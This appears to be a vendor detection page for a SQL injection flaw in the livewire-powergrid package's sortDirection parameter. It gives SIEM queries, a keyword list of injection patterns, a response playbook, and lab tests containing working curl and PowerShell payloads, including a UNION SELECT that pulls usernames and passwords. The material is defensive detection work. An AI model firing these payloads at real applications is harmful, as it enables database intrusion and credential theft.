Skip to content
CVE-2026-65971

livewire-powergrid SQL Injection via sortDirection in naturalSort (CVE-2026-65971)

Initial Access Collection Last updated:

Detects exploitation attempts against CVE-2026-65971, a SQL injection vulnerability in the power-components/livewire-powergrid Composer package (>= 6.0.0, < 6.10.4). The library fails to validate the sortDirection parameter when building naturalSort ORDER BY clauses, allowing an attacker to inject arbitrary SQL through Livewire component update requests. Because sorting is driven by Livewire's client-to-server state updates, exploitation appears as crafted POST requests to Livewire endpoints (/livewire/update or /livewire/message) carrying a sortDirection value containing SQL metacharacters, boolean/time-based blind payloads, UNION/stacked queries, or ORDER BY subselects. Detection correlates web/WAF logs and database query logs for anomalous sortDirection content and malformed ORDER BY clauses.

Vulnerability Intelligence

Public PoC

What is CVE-2026-65971 livewire-powergrid SQL Injection via sortDirection in naturalSort (CVE-2026-65971)?

livewire-powergrid SQL Injection via sortDirection in naturalSort (CVE-2026-65971) (CVE-2026-65971) maps to the Initial Access and Collection tactics — the adversary is trying to get into your network in MITRE ATT&CK.

This page provides production-ready detection logic for livewire-powergrid SQL Injection via sortDirection in naturalSort (CVE-2026-65971), covering the data sources and telemetry it touches: IIS Web Server Logs, Web Proxy, WAF. The queries below are rated high severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.

MITRE ATT&CK

Tactic
Initial Access Collection
Microsoft Sentinel / Defender
kusto
// df00tech DF00-0b209303a5 · https://df00tech.com/detections/CVE-2026-65971 · licence: https://df00tech.com/detections/licence
let suspiciousSort = dynamic(["asc)","desc)"," union ","select "," sleep(","benchmark(","--","/*","; ","' ","\" "," and "," or ","(select","case when","waitfor","pg_sleep"]);
let livewirePaths = dynamic(["/livewire/update","/livewire/message","/livewire/"]);
W3CIISLog
| where csUriStem has_any (livewirePaths) or cs_uri_query has "sortDirection"
| extend body = tolower(coalesce(column_ifexists("csBody", ""), cs_uri_query))
| where body has "sortdirection" or body has "naturalsort"
| where body has_any (suspiciousSort)
| project TimeGenerated, cIP, csMethod, csUriStem, cs_uri_query, scStatus, csUserAgent, body
| sort by TimeGenerated desc

Flags Livewire update requests whose body or query string carries a sortDirection/naturalSort parameter containing SQL metacharacters or injection keywords, consistent with CVE-2026-65971 exploitation against livewire-powergrid.

high severity medium confidence

Data Sources

IIS Web Server Logs Web Proxy WAF

Required Tables

W3CIISLog

False Positives

  • Legitimate sort requests that happen to include parentheses or quotes in column aliases.
  • Security scanners and authorized penetration tests probing the sortDirection parameter.
  • Application monitoring synthetic transactions replaying Livewire requests with encoded payloads.

Query fingerprint DF00-0b209303a5 · licence

Sigma logsource & community rules

The detection logic for livewire-powergrid SQL Injection via sortDirection in naturalSort (CVE-2026-65971) (CVE-2026-65971) above is provided in a vendor-neutral form so you can deploy it on any SIEM. The same logic is shipped here as native KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the following logsource:

logsource:
  category: network_connection
  product: windows

Browse the community-maintained Sigma rules for this technique:


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.

  1. Test 1 Time-based blind SQLi via sortDirection

    Expected signal: Web access log entry for POST /livewire/update with a sortDirection value containing SLEEP(5); response latency ~5s.

  2. Test 2 UNION-based SQLi via sortDirection

    Expected signal: Web log POST to /livewire/update containing 'UNION SELECT' within the sortDirection field; possible SQL error in application log.

  3. Test 3 ORDER BY boolean injection via sortDirection

    Expected signal: IIS/web log entry for POST /livewire/update with sortDirection containing ') AND 1=1-- -'.


Response Playbook

Triage

  1. Confirm the targeted application bundles power-components/livewire-powergrid and resolve its installed version via composer.lock; versions >= 6.0.0 and < 6.10.4 are vulnerable.
  2. Extract the full sortDirection/naturalSort value from the flagged request and decode any URL/JSON/Livewire payload encoding to reveal the raw SQL fragment.
  3. Classify the payload intent: ORDER BY manipulation, boolean-blind, time-based blind (sleep/benchmark/pg_sleep/waitfor), UNION-based extraction, or stacked query.
  4. Review the HTTP response code, size, and latency for the flagged request to judge whether injection succeeded (e.g., delayed response for time-based payloads).

Containment

  1. Deploy a WAF rule rejecting Livewire requests whose sortDirection parameter is not exactly 'asc' or 'desc'.
  2. Upgrade power-components/livewire-powergrid to 6.10.4 or later across all affected deployments.
  3. If immediate patching is not possible, restrict database account privileges used by the application to read-only on required tables and revoke stacked-query/DDL rights.

Evidence Collection

  1. Preserve raw web/WAF access logs including request bodies for all requests from the source IP over the exposure window.
  2. Capture corresponding database query logs (general/slow/audit log) to identify the exact executed ORDER BY statements and any data accessed.

Escalation Criteria

  • ! Escalate to incident response if database logs confirm the injected SQL executed (e.g., UNION rows returned or measurable time delay).
  • ! Escalate if evidence shows exfiltration of sensitive tables, credential tables, or successful stacked write/DDL operations.

Investigation Guide

Forensic Artifacts

  • > Web/WAF access logs containing the malicious sortDirection payload and source IP.
  • > Database query/audit logs showing malformed ORDER BY clauses originating from the application account.
  • > Application (Laravel) logs showing query exceptions or anomalous Livewire component update activity.

Tuning Guidance

Baseline legitimate sortDirection values, they should only ever be 'asc' or 'desc'. Convert this to an allowlist detection (alert on any value not in {asc,desc}) once you confirm the application does not use custom sort aliases, which dramatically lowers false positives. Exclude known scanner IPs and authorized pentest windows, and whitelist internal synthetic-monitoring source addresses.


Hunting Queries

Surfaces any Livewire requests where sortDirection carries characters beyond the expected asc/desc tokens, grouped by source IP for burst detection.

Hunting — KQL
kql
// df00tech DF00-0b209303a5 · https://df00tech.com/detections/CVE-2026-65971 · licence: https://df00tech.com/detections/licence
W3CIISLog | where csUriStem has "/livewire/" | extend body = tolower(coalesce(column_ifexists("csBody",""), cs_uri_query)) | where body has "sortdirection" and (body has "(" or body has "'" or body has "--" or body has "select") | summarize count() by cIP, bin(TimeGenerated, 1h)
Hunting — SPL
spl
``` df00tech DF00-0b209303a5 · https://df00tech.com/detections/CVE-2026-65971 · licence: https://df00tech.com/detections/licence ```
index=web (uri_path="*/livewire/*") | eval p=lower(coalesce(form_data,uri_query)) | where like(p,"%sortdirection%") AND (like(p,"%(%") OR like(p,"%'%") OR like(p,"%--%") OR like(p,"%select%")) | stats count by src_ip, uri_path

Atomic Red Team Tests

Test 1 Time-based blind SQLi via sortDirection
linux

Sends a Livewire update request with a time-based blind payload in sortDirection against a lab instance of livewire-powergrid < 6.10.4.

Command

bash
curl -s -X POST 'http://localhost:8000/livewire/update' -H 'Content-Type: application/json' -H 'X-Livewire: true' --data '{"components":[{"calls":[{"method":"sortBy","params":["name"]}],"updates":{"sortDirection":"asc,(SELECT 1 FROM (SELECT SLEEP(5))x)"}}]}'

Cleanup

bash
echo 'No persistent artifacts; restart the lab app if DB connections are saturated: php artisan serve restart'

Expected Telemetry

Web access log entry for POST /livewire/update with a sortDirection value containing SLEEP(5); response latency ~5s.

Expected Detection

KQL/SPL rules match on sortdirection + sleep( pattern.

Test 2 UNION-based SQLi via sortDirection
linux

Attempts UNION-based injection through the naturalSort ORDER BY clause.

Command

bash
curl -s -X POST 'http://localhost:8000/livewire/update' -H 'Content-Type: application/json' -H 'X-Livewire: true' --data '{"components":[{"updates":{"sortDirection":"asc) UNION SELECT username,password FROM users-- -"}}]}'

Cleanup

bash
echo 'No cleanup required'

Expected Telemetry

Web log POST to /livewire/update containing 'UNION SELECT' within the sortDirection field; possible SQL error in application log.

Expected Detection

All seven SIEM rules match on sortdirection + union select pattern.

Test 3 ORDER BY boolean injection via sortDirection
windows

Injects a boolean/ORDER BY-breaking payload via sortDirection to confirm the naturalSort SQLi primitive.

Command

powershell
powershell -c "Invoke-WebRequest -Uri 'http://localhost:8000/livewire/update' -Method POST -ContentType 'application/json' -Headers @{'X-Livewire'='true'} -Body '{\"components\":[{\"updates\":{\"sortDirection\":\"asc) AND 1=1-- -\"}}]}'"

Cleanup

powershell
Write-Output 'No cleanup required'

Expected Telemetry

IIS/web log entry for POST /livewire/update with sortDirection containing ') AND 1=1-- -'.

Expected Detection

KQL W3CIISLog rule and CrowdStrike CQL rule match on the boolean ORDER BY pattern.

Related Detections

Blog posts about this detection

Browse by tactic

Full ATT&CK matrix Search all detections